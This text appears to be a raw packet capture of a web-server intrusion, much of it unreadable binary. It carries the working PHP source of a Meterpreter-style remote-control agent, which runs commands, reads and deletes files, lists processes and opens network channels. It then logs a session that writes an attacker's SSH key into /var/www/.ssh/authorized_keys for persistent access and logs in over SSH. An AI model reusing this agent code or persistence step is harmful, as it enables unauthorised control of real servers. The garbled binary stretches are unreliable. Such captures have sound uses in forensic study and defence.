(!function_exists('stdapi_fs_stat')) { register_command('stdapi_fs_stat'); function stdapi_fs_stat($req, &$pkt) { my_print("doing stat"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); $st = stat($path); if ($st) { $st_buf = ""; $st_buf .= pack("V", $st['dev']); $st_buf .= pack("v", $st['ino']); $st_buf .= pack("v", $st['mode']); $st_buf .= pack("v", $st['nlink']); $st_buf .= pack("v", $st['uid']); $st_buf .= pack("v", $st['gid']); $st_buf .= pack("v", 0); $st_buf .= pack("V", $st['rdev']); $st_buf .= pack("V", $st['size']); $st_buf .= pack("V", $st['atime']); $st_buf .= pack("V", $st['mtime']); $st_buf .= pack("V", $st['ctime']); $st_buf .= pack("V", $st['blksize']); $st_buf .= pack("V", $st['blocks']); packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } # works if (!function_exists('stdapi_fs_delete_file')) { register_command('stdapi_fs_delete_file'); function stdapi_fs_delete_file($req, &$pkt) { my_print("doing delete"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); if ($path && is_file($path)) { $worked = @unlink($path); return ($worked ? ERROR_SUCCESS : ERROR_FAILURE); } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_fs_search')) { register_command('stdapi_fs_search'); function stdapi_fs_search($req, &$pkt) { my_print("doing search"); $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); $root = cononicalize_path($root_tlv['value']); $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); $glob = cononicalize_path($glob_tlv['value']); $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); $recurse = $recurse_tlv['value']; if (!$root) { $root = '.'; } my_print("glob: $glob, root: $root, recurse: $recurse"); $flags = GLOB_PATH; if ($recurse) { $flags |= GLOB_RECURSE; } $files = safe_glob($root ."/". $glob, $flags); if ($files and is_array($files)) { dump_array($files); foreach ($files as $file) { $file_tlvs = ""; $s = stat($file); $p = dirname($file); $f = basename($file); $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p)); $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f)); $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size'])); packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs)); } } return ERROR_SUCCESS; } } if (!function_exists('stdapi_fs_md5')) { register_command("stdapi_fs_md5"); function stdapi_fs_md5($req, &$pkt) { $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); if (is_callable("md5_file")) { $md5 = md5_file($path); } else { $md5 = md5(file_get_contents($path)); } $md5 = pack("H*", $md5); # Ghetto abuse of file name type to indicate the md5 result packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5)); return ERROR_SUCCESS; } } if (!function_exists('stdapi_fs_sha1')) { register_command("stdapi_fs_sha1"); function stdapi_fs_sha1($req, &$pkt) { $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); if (is_callable("sha1_file")) { $sha1 = sha1_file($path); } else { $sha1 = sha1(file_get_contents($path)); } $sha1 = pack("H*", $sha1); # Ghetto abuse of file name type to indicate the sha1 result packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1)); return ERROR_SUCCESS; } } # Sys Config # works if (!function_exists('stdapi_sys_config_getuid')) { register_command('stdapi_sys_config_getuid'); function stdapi_sys_config_getuid($req, &$pkt) { my_print("doing getuid"); if (is_callable('posix_getuid')) { $uid = posix_getuid(); $pwinfo = posix_getpwuid($uid); $user = $pwinfo['name'] . " ($uid)"; } else { # The posix functions aren't available, this is probably windows. Use # the functions for getting user name and uid based on file ownership # instead. $user = get_current_user() . " (" . getmyuid() . ")"; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user)); return ERROR_SUCCESS; } } # Unimplemented becuase it's unimplementable #if (!function_exists('stdapi_sys_config_rev2self')) { #register_command('stdapi_sys_config_rev2self'); #function stdapi_sys_config_rev2self($req, &$pkt) { # my_print("doing rev2self"); # return ERROR_FAILURE; #} #} # works if (!function_exists('stdapi_sys_config_sysinfo')) { register_command('stdapi_sys_config_sysinfo'); function stdapi_sys_config_sysinfo($req, &$pkt) { my_print("doing sysinfo"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n"))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname())); return ERROR_SUCCESS; } } # Global list of processes so we know what to kill when a channel gets closed $GLOBALS['processes'] = array(); if (!function_exists('stdapi_sys_process_execute')) { register_command('stdapi_sys_process_execute'); function stdapi_sys_process_execute($req, &$pkt) { global $channel_process_map, $processes; my_print("doing execute"); $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS); $cmd = $cmd_tlv['value']; $args = $args_tlv['value']; $flags = $flags_tlv['value']; # If there was no command specified, well, a user sending an empty command # deserves failure. my_print("Cmd: $cmd $args"); if (0 > strlen($cmd)) { return ERROR_FAILURE; } $real_cmd = $cmd ." ". $args; $pipe_desc = array(array('pipe','r'), array('pipe','w')); if (is_windows()) { # see http://us2.php.net/manual/en/function.proc-open.php#97012 array_push($pipe_desc, array('pipe','a')); } else { array_push($pipe_desc, array('pipe','w')); } # Now that we've got the command built, run it. If it worked, we'll send # back a handle identifier. $handle = proc_open($real_cmd, $pipe_desc, $pipes); if (!is_resource($handle)) { return ERROR_FAILURE; } if (is_callable('proc_get_status')) { $status = proc_get_status($handle); $pid = $status['pid']; } else { $pid = 0; } $proc = array( 'handle' => $handle, 'pipes' => $pipes ); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes))); if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { my_print("Channelized"); # Then the client wants a channel set up to handle this process' stdio, # register all the necessary junk to make that happen. foreach ($pipes as $p) { register_stream($p); } #stream_set_blocking($pipes[0], 1); #stream_set_blocking($pipes[1], 1); #stream_set_blocking($pipes[2], 1); $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); $channel_process_map[$cid] = $proc; $proc['cid'] = $cid; packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); #} else { # Otherwise, don't care about stdin/stdout, just run the command } $processes[] = $proc; return ERROR_SUCCESS; } } if (!function_exists('stdapi_sys_process_close')) { register_command('stdapi_sys_process_close'); function stdapi_sys_process_close($req, &$pkt) { global $processes; my_print("doing process_close"); $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE); if (array_key_exists($handle_tlv['value'], $processes)) { close_process($processes[$handle_tlv['value']]); } return ERROR_SUCCESS; } } if (!function_exists('close_process')) { function close_process($proc) { if ($proc) { my_print("Closing process handle {$proc['handle']}"); # In the case of a channelized process, this will be redundant as the # channel_close will also try to close all of these handles. There's no # real harm in that, so go ahead and just always make sure they get # closed. foreach ($proc['pipes'] as $f) { @fclose($f); } if (is_`~QJBB )y*= ) dE47@@  \D true); } # proc_close blocks waiting for the child to exit, so if it's still # running, don't take a chance on deadlock and just sigkill it if we # can. We can't on php < 4.3, so don't do anything. This will leave # zombie processes, but that's better than deadlock. if ($status['running'] == false) { proc_close($proc['handle']); } else { if (is_callable('proc_terminate')) { proc_terminate($proc['handle'], 9); } } if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) { unset($channel_process_map[$proc['cid']]); } } } } # Works, but not very portable. There doesn't appear to be a PHP way of # getting a list of processes, so we just shell out to ps/tasklist.exe. I need # to decide what options to send to ps for portability and for information # usefulness. if (!function_exists('stdapi_sys_process_get_processes')) { register_command('stdapi_sys_process_get_processes'); function stdapi_sys_process_get_processes($req, &$pkt) { my_print("doing get_processes"); $list = array(); if (is_windows()) { # This command produces a line like: # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName" $output = my_cmd("tasklist /v /fo csv /nh"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { $line = trim($line); # # Ghetto CSV parsing # $pieces = preg_split('/","/', $line); # Strip off the initial quote on the first and last elements $pieces[0] = substr($pieces[0], 1, strlen($pieces[0])); $cnt = count($pieces) - 1; $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt])); $proc_info = array($pieces[1], $pieces[6], $pieces[0]); array_push($list, $proc_info); } } else { # This command produces a line like: # 1553 root /sbin/getty -8 38400 tty1 $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { array_push($list, preg_split("/\s+/", trim($line))); } } foreach ($list as $proc) { $grp = ""; $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); # Strip the pid and the user name off the front; the rest will be the # full command line array_shift($proc); array_shift($proc); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); } return ERROR_SUCCESS; } } # works if (!function_exists('stdapi_sys_process_getpid')) { register_command('stdapi_sys_process_getpid'); function stdapi_sys_process_getpid($req, &$pkt) { my_print("doing getpid"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); return ERROR_SUCCESS; } } if (!function_exists('stdapi_sys_process_kill')) { register_command('stdapi_sys_process_kill'); function stdapi_sys_process_kill($req, &$pkt) { # The existence of posix_kill is unlikely (it's a php compile-time option # that isn't enabled by default, but better to try it and avoid shelling # out when unnecessary. my_print("doing kill"); $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); $pid = $pid_tlv['value']; if (is_callable('posix_kill')) { $ret = posix_kill($pid, 9); $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); if ($ret != ERROR_SUCCESS) { my_print(posix_strerror($ret)); } } else { $ret = ERROR_FAILURE; if (is_windows()) { my_cmd("taskkill /f /pid $pid"); # Don't know how to check for success yet, so just assume it worked $ret = ERROR_SUCCESS; } else { if ("foo" == my_cmd("kill -9 $pid && echo foo")) { $ret = ERROR_SUCCESS; } } } return $ret; } } if (!function_exists('stdapi_net_socket_tcp_shutdown')) { register_command('stdapi_net_socket_tcp_shutdown'); function stdapi_net_socket_tcp_shutdown($req, &$pkt) { my_print("doing stdapi_net_socket_tcp_shutdown"); $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $c = get_channel_by_id($cid_tlv['value']); if ($c && $c['type'] == 'socket') { @socket_shutdown($c[0], $how); $ret = ERROR_SUCCESS; } else { $ret = ERROR_FAILURE; } return $ret; } } # # Registry # if (!function_exists('register_registry_key')) { $_GLOBALS['registry_handles'] = array(); function register_registry_key($key) { global $registry_handles; $registry_handles[] = $key; return count($registry_handles) - 1; } } if (!function_exists('deregister_registry_key')) { function deregister_registry_key($id) { global $registry_handles; $registry_handles[$id] = null; } } if (!function_exists('stdapi_registry_create_key')) { if (is_windows() and is_callable('reg_open_key')) { register_command('stdapi_registry_create_key'); } function stdapi_registry_create_key($req, &$pkt) { my_print("doing stdapi_registry_create_key"); if (is_windows() and is_callable('reg_open_key')) { $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY); $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION); dump_array($root_tlv); dump_array($base_tlv); # For some reason the php constants for registry root keys do not have # the high bit set and are 1 less than the normal Windows constants, so # fix it here. $root = ($root_tlv['value'] & ~0x80000000) + 1; $base = $base_tlv['value']; my_print("reg opening '$root', '$base'"); $key = reg_open_key($root, $base); if (!$key) { my_print("reg open failed: $key"); return ERROR_FAILURE; } $key_id = register_registry_key($key); packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id)); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_close_key')) { if (is_windows() and is_callable('reg_open_key')) { register_command('stdapi_registry_close_key'); } function stdapi_registry_close_key($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_close_key"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $key_id = $key_id_tlv['value']; reg_close_key($registry_handles[$key_id]); deregister_registry_key($key_id); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_que`~QK ) d )y*=E@@.  \P D<ŀ 3 ry_value')) { if (is_windows() and is_callable('reg_open_key')) { register_command('stdapi_registry_query_value'); } function stdapi_registry_query_value($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_query_value"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY); $key_id = $key_id_tlv['value']; $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME); $name = $name_tlv['value']; #my_print("Looking up stored key handle $key_id"); #dump_array($registry_handles, "Reg handles"); $key = $registry_handles[$key_id]; if (!$key) { return ERROR_FAILURE; } $data = reg_get_value($key, $name); my_print("Found data for $key\\$name : $data, ". is_int($data)); # There doesn't appear to be an API to get the typ`~QKBB )y*= ) dE47@@  \D 'rb'); } $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); if (is_resource($fd)) { register_stream($fd); $id = register_channel($fd); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); return ERROR_SUCCESS; } else { my_print("Failed to open"); } return ERROR_FAILURE; } } if (!function_exists('channel_create_stdapi_net_tcp_client')) { function channel_create_stdapi_net_tcp_client($req, &$pkt) { my_print("creating tcp client"); $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); if ($retries_tlv['value']) { $retries = $retries_tlv['value']; } else { $retries = 1; } for ($i = 0; $i < $retries; $i++) { $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']); if ($sock) { break; } } if (!$sock) { return ERROR_CONNECTION_ERROR; } # # If we got here, the connection worked, respond with the new channel ID # $id = register_channel($sock); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); add_reader($sock); return ERROR_SUCCESS; } } if (!f`~Q\qq ) d )y*=Ec@@  \PD<ŀ+ 3 unction_exists('channel_create_stdapi_net_udp_client')) { function channel_create_stdapi_net_udp_client($req, &$pkt) { my_print("creating udp client"); $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); # We can't actually do anything with local_host and local_port because PHP # doesn't let us specify these values in any of the exposed socket API # functions. #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp'); my_print("UDP channel on {$sock}"); if (!$sock) { return ERROR_CONNECTION_ERROR; } # # If we got here, the connection worked, respond with the new channel ID # $id = register_channel($sock); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); add_reader($sock); return ERROR_SUCCESS; } } ext82341.php ext82341.php`~Q\BB )y*= ) dE47@@  \DrA!!z~Qy~Qy~Q `~QnBB ) d )y*=E4@@  \PDCs 3U%`~Q ) d )y*=E@@ P  \PDCs=6 3n%Wstdapi_fs_ls)69659826389506358631956255468343/var/www`~Q8jj ) dE \ Y  ziHM2JQ~z 2!r>php5-cgi/var/www`~Qd}} )y*= ) dEo7@@  \DCPV9[ /3n;stdapi_fs_ls)69659826389506358631956255468343index.php/var/www/index.php4p!!-z~Q[d~Qs~Qapache2-default!/var/www/apache2-default4?rA!!s~Q^~Qs~Qcgi-bin/var/www/cgi-bin4zkA!!s~Q_~Qs~Q.htaccess/var/www/.htaccess4>q!!}^~Q^~Qs~Qrootkit/var/www/rootkit4nrA!!u~Qu~Qu~Q `~QBB ) d )y*=E4@@  \PVDF2 3n/`~Q ) d )y*=E@@ O  \PVDF2D[ 3/Vstdapi_fs_mkdir)49403161403971614507438521242334 .ssh`~Q: )y*= ) dE7@@  \DF2Pͬ9 83Ustdapi_fs_mkdir)49403161403971614507438521242334 `~Qd BB ) d )y*=E4@@  \PͬDF}Z 38`~Qq ) d )y*=E@@ M  \PͬDF2 38Vstdapi_fs_chdir)39684485307158998117559562478107 .ssh`~Qr )y*= ) dE7@@  \DFP9 3Ustdapi_fs_chdir)39684485307158998117559562478107 `~Qr BB ) d )y*=E4@@  \PDF܀y 3`~Q ) d )y*=E@@   \PDF܀& 3core_channel_open)646632723701747540641365477745313stdapi_fs_file 6 authorized_keys wbb`~Qr ) dE q D  zi]M2KQ~zE!raphp5-cgi/var/www/.ssh/authorized_keys`~Q )y*= ) dE7@@q  \DFPΠP k 3ccore_channel_open)64663272370174754064136547774531 2 `~QBB ) d )y*=E4@@  \PΠDG?o] 3`~Qe77 ) d )y*=E)@@  \PΠDG? 3core_channel_write)30436977410956546893925320316323 24ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6pp1TJHHrMzTsxO8YVIp/0hiXbDE6wIDczmnicsiAVZQUmrpyvCd13OMz5MF3toxOGN+vpUwQMXHpFBBEHMpXeFwIPlPxWartmm14gSRsUeAecRadWYxVAJ2dvVMKFMhBE2VmqSnegnkIdi61c44MlNz2m2iayPxj/jtUPa3sZ3HzAR4qIVEagnuXH3Nd31pz/Jyxvoea+AGYpgiLUI2MV0hFGSkc/c8EpxO/ih0oECYlf2O1xDL3Sz3QCk9osRrTlKnz9U+U4wMy41YDvT9yyzmQxj590uwmWKHahzsnhhEfcZUYrLzl7rLsyxtFZD4B1aRYL5suPNRHB8kyb5nj root@ubuntu `~Qf )y*= ) dE7@@o  \DG?PЕeE 3dcore_channel_write)30436977410956546893925320316323  `~QfBB ) d )y*=E4@@  \PЕDGl 3`~Q ) d )y*=E @@ E  \PЕDGO 3Xcore_channel_close)36518487606074915511094799305620 2`~Q )y*= ) dE7@@z  \DGPeO 3Xcore_channel_close)36518487606074915511094799305620 `~QBB ) d )y*=E4 @@  \PDGl  3`~Q ) d )y*=E} @@ R  \PDGP 3ְIstdapi_fs_getwd)39521561891197700047244286867849`~Q~ )y*= ) dE7@@f  \DGP6ek  |3ְkstdapi_fs_getwd)39521561891197700047244286867849/var/www/.ssh `~Qѿ BB ) d )y*=E4 @@  \P6DHfi 3ְ|`~QJ ) d )y*=E @@ ;  \P6DHf 3|^stdapi_fs_stat)23166646853905335851710256372335/var/www/.ssh`~QK )y*= ) dE7@@H  \DHfPєe' 3stdapi_fs_stat)231666468539053358517102563723354KnA!!z~Qz~Qz~Q `~QLBB ) d )y*=E4@@  \PєDHg 3`~Q? ) d )y*=E@@ ;  \PєDH 3\stdapi_fs_ls)40508928861359616620380917418966/var/www/.ssh`~Qmoo ) dE a T  ziMM2LQ~zI!nKphp5-cgi /var/www/.ssh`~Q )y*= ) dE7@@  \DHPei 3stdapi_fs_ls)40508928861359616620380917418966authorized_keys&/var/www/.ssh/authorized_keys4ar!!z~Qz~Qz~Q `~QԕBB ) d )y*=E4@@  \PDIf_ 3a~QJ ) d )y*=E{@@ N  \PDI 3Gcore_shutdown)65088558138730720241654185904884a~QxBB )y*= ) dE47@@  \DIP7eb 3a~Qpp ) dE b S  ziNM2MQ~z?! j4apache2/etc/localtimea~QU )y*= ) dEهP@@  PFKb*C kk ) d )y*=E]@@h  4q#b~ڀɿ  3bSSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 a~Qx BB )y*= ) dE4&@@|  4~q#c. 3ba~Q{ cc ) dE U l  ziAM2uQ~z "TsshdSa~Q cc ) dE U l  ziAM2vQ~z "TsshdSa~Q cc ) dE U l  ziAM2wQ~z "TsshdHa~Q cc ) dE U l  ziAM2xQ~z "Tsshd-a~Q cc ) dE U l  ziAM2yQ~z "Tsshd2a~Q cc ) dE U l  ziAM2zQ~z # Tsshd.a~Q cc ) dE U l  ziAM2{Q~z #Tsshd0a~Q cc ) dE U l  ziAM2|Q~z #4Tsshd-a~Q" cc ) dE U l  ziAM2}Q~z #JTsshdOa~QE cc ) dE U l  ziAM2~Q~z #`Tsshdpa~QH cc ) dE U l  ziAM2Q~z #uTsshdea~Qo cc ) dE U l  ziAM2Q~z #Tsshdna~Qr cc ) dE U l  ziAM2Q~z #TsshdSa~Q :: ) d )y*=E,@@c  4q#c~ڀm 3c=EXY[MzCecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1:ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-dss-cert-v00@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-dssaes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.seaes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.sehmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96none,zlib@openssh.com,zlibnone,zlib@openssh.com,zliba~Q cc ) dE U l  ziAM2Q~z #TsshdSa~Q BB )y*= ) dE4'@@|~  4~q#gB 3ca~Q cc ) dE U l  ziAM2Q~z #TsshdHa~Q cc ) dE U l  ziAM2Q~z $Tsshd_a~Q cc ) dE U l  ziAM2Q~z $Tsshd5a~Q cc ) dE U l  ziAM2Q~z $,Tsshd.a~Q$ cc ) dE U l  ziAM2Q~z $BTsshd9a~Q. cc ) dE U l  ziAM2Q~z $XTsshdpa~Q` cc ) dE U l  ziAM2Q~z $nTsshd1a~Qc cc ) dE U l  ziAM2Q~z $Tsshd a~Q cc ) dE U l  ziAM2Q~z $TsshdDa~Q cc ) dE U l  ziAM2Q~z $Tsshdea~Q cc ) dE U l  ziAM2Q~z $Tsshdba~Q cc ) dE U l  ziAM2Q~z $Tsshdia~Q cc ) dE U l  ziAM2Q~z $Tsshdaa~Q cc ) dE U l  ziAM2Q~z %Tsshdna~Q cc ) dE U l  ziAM2Q~z %Tsshd-a~Q! cc ) dE U l  ziAM2Q~z %1Tsshd5a~Q" cc ) dE U l  ziAM2Q~z %GTsshdua~Q- cc ) dE U l  ziAM2Q~z %]Tsshdba~Qy cc ) dE U l  ziAM2Q~z %rTsshdua~Q} cc ) dE U l  ziAM2Q~z %Tsshdna~Q cc ) dE U l  ziAM2Q~z %Tsshdta~Q cc ) dE U l  ziAM2Q~z %Tsshdua~Q cc ) dE U l  ziAM2Q~z %Tsshd1a~Q cc ) dE U l  ziAM2Q~z %Tsshd.a~Q cc ) dE U l  ziAM2Q~z %Tsshd1a~Q cc ) dE U l  ziAM2Q~z &Tsshd a~Q1 cc ) dE U `  ziAM2Q~z &)Tsshd a~QW ** )y*= ) dE(@@y  4~q#gBT 3c  RW*T83~diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1ssh-rsa,ssh-dssaes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctraes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctrUhmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96Uhmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96none,zlib@openssh.comnone,zlib@openssh.coma~Q ZZ ) d )y*=EL@@h  4q#g~€w 3c" a~Q qq ) dE c ^  ziOM2Q~z ),q sshd/etc/ssh/modulia~Q )y*= ) dE̩)@@{  4~q#hB 3cʭgh܅257wC|E: hJ Vq6R%!8jO`uH( xVv+3^E͊ܳ3#'fX iTYL=K-p硙{!vYK7m+/2}-S^£eL_ʜr ^%ZuX1q&IfsG8'#Qϟ '6TBDj?d-~+6"r)>ByzW_ QγMuBH%솈KFUŁ&I(TL[NwR(ԇܤ:J%r̀5i.|J`T':feʹ wߣ0 (IYJJXn4MPDB@a~Q BB )y*= ) dE40@@|u  4~q#ji ~33a~Q ~~ ) dE p [  zi\M2Q~z &7sshd/proc/sys/kernel/ngroups_maxa~Qt ll ) dE ^ m  ziJM2Q~z onsshd /etc/groupa~Qx  ) dE q P  zi]M2Q~z rasshd/var/www/.ssh/authorized_keysa~Q  )y*= ) dEt1@@{4  4~q#ji  ~33k춲T7x_{'׀@JV, Bƾ_{-􀭆fr#Vrm>ߦ2)VO+I`tLh\Fhq%)oѮu7xOЉn\G߁p*Hjzˠe0&/9 ՟ڞ w/=Fb2k=$$Xp'UJ] c>/cL6Ώ|uJto|똦2)[=`tumzX^Ill+^&F ~/?V^X;m Vʬj؁zlJr$%a~Q  ) d )y*=E@@fb  4q#j~ڀM 34~FIRHv& šV54"O7dob2w:7zCKߦ+L3Z\9cܤ X8 x]bޝq֓nJ8xR_ߨE!؇߿^?rb|5ݫ?)8 t~VbZQ 1?Jd~AgwH3B*~ /F3ʐ>uII_Iy<3-WZYe ib)ScAGOZ]<\ziFA7 c3R2xPCtӥMs h=?.;eEލ?pNaAoCG錜U[M/ koOìN1x&ʽg4CaR2vu+OGcq7do¡+q0-4wycס GFS8#bjK!o$XcpvNt1ͧVM1a3-I@̐Ǽ8wt(GxG 8\ȱ&c(p6$YZ.dr̜<;G𦇜&Єt@ e"aG6DB"NU5ڽJϸRdVaa~Q]  ) dE q P  zi]M2Q~z rasshd/var/www/.ssh/authorized_keysa~Qq bb )y*= ) dET2@@|S  4~q#m} ~34d1wunDUd7\iGK sa~Qu cc ) dE U l  ziAM2Q~z ,Usshd1a~Qw mm ) dE _ Ҫ  ziKM2Q~z Amksshd /etc/passwda~Qw mm ) dE _ b  ziKM2Q~z mnsshd /etc/shadowa~Qx pp ) dE b i  ziNM2Q~z j4sshd/etc/localtimea~Q ) d )y*=Et@@h  4q#m~L 34~֥>0YYyjF>:|W$VB;+J /V41Et. )NX𜞝`,ي7t!~y\L7 d Ÿ%f&ga~Q< cc ) dE U `  ziAM2Q~z SUsshda~QI kk ) dE ] d  ziIM2Q~z ;sshd /dev/ptmxa~Qz ll ) dE ^ ҫ  ziJM2Q~z sshd /dev/pts/0a~Q ll ) dE ^ c  ziJM2Q~z nsshd /etc/groupa~Q ss ) dE e0 U<  ziQM2Q~z sshd/proc/filesystemsa~Q mm ) dE _ l  ziKM2Q~z mksshd /etc/passwda~Q rr ) dE d ]  ziPM2Q~z jcsshd/var/log/lastloga~Q mm ) dE _ V  ziKM2Q~z Bmksshd /etc/passwda~Q oo ) dE a `  ziMM2Q~z s69sshd /var/run/utmpa~Q oo ) dE a `  ziMM2Q~z jasshd /var/log/wtmpa~Q rr ) dE d Q  ziPM2Q~z jcsshd/var/log/lastloga~Q kk ) dE ] X  ziIM2Q~z !Psshd /dev/nulla~Qf ll ) dE ^ W  ziJM2Q~z !sshd /dev/pts/0a~Qr jj ) dE \ e  ziHM2Q~z !6sshd/dev/ttya~Q )y*= ) dE4@@{  4~*q#oU ~35>H(_e\E>=}$2d7YGl9^emz=^X56>tTψ-ywpHB [?Bغ`:F׈S2xu{=a~Q  )y*= ) dE5@@z  4~q#oPO ~354^gbTa?߈7.@u1so]xUZf*`ڏ_ CׄJ{OC)պg`\*i<|[UIx$!xj)rR1 4)2Tg?"(1aOUuvdaVnZgaY MڗސKi#b7 Q̗6( *MKa/c%mT%O8D%q_л"Q1MrR)F\Q[O `& %s0+* ~(.N"Ѳ}‘z`Na~Qcc ) dE U `  ziAM2Q~z1! ;sshdla~Q4rr )y*= ) dEd7@@|.  4~q#oC. 